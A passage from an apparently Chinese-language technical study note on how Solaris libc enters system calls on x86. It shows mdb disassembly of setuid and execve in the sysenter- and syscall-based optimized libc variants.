execve+0xc: jb -0x7febc <__cerror>
可以看到,由于我的机器安装的是Solaris 10,而不是OpenSolaris,因此标准的libc库用的是lcall方式。
如果安装的是最新的OpenSolaris,上面的结果就是使用int $0x91了。
我们可以在/usr/lib/libc/目录下找到为AMD64和IA32硬件优化版本的libc库: # mdb /usr/lib/libc/libc_hwcap1.so.1 ---> IA32兼容的优化版libc,使用的是快速系统调用sysenter
> setuid::dis
setuid: call +0x5
setuid+5: popl %edx
setuid+6: movl $0x17,%eax
setuid+0xb: movl %esp,%ecx
setuid+0xd: addl $0x10,%edx
setuid+0x13: sysenter
setuid+0x15: jb -0x80b55 <__cerror>
setuid+0x1b: xorl %eax,%eax
setuid+0x1d: ret
> execve::dis
execve: call +0x5
execve+5: popl %edx
execve+6: movl $0x3b,%eax
execve+0xb: movl %esp,%ecx
execve+0xd: addl $0x10,%edx
execve+0x13: sysenter
execve+0x15: jb -0x80185 <__cerror>
# mdb /usr/lib/libc/libc_hwcap2.so.1 ---> AMD64兼容的优化版libc,使用的是快速系统调用syacall
> setuid::dis
setuid: movl $0x17,%eax
setuid+5: syscall
setuid+7: jb -0x80347 <__cerror>
setuid+0xd: xorl %eax,%eax
setuid+0xf: ret
> execve::dis
execve: movl $0x3b,%eax
execve+5: syscall
execve+7: jb -0x7fde7 <__cerror>
Solairs的libc进入系统调用的一般情况就研究到这里。进一步的说明,请参考阅读笔记: x86系统调用入门 和阅读笔记:如何给OpenSolaris增加一个系统调用 。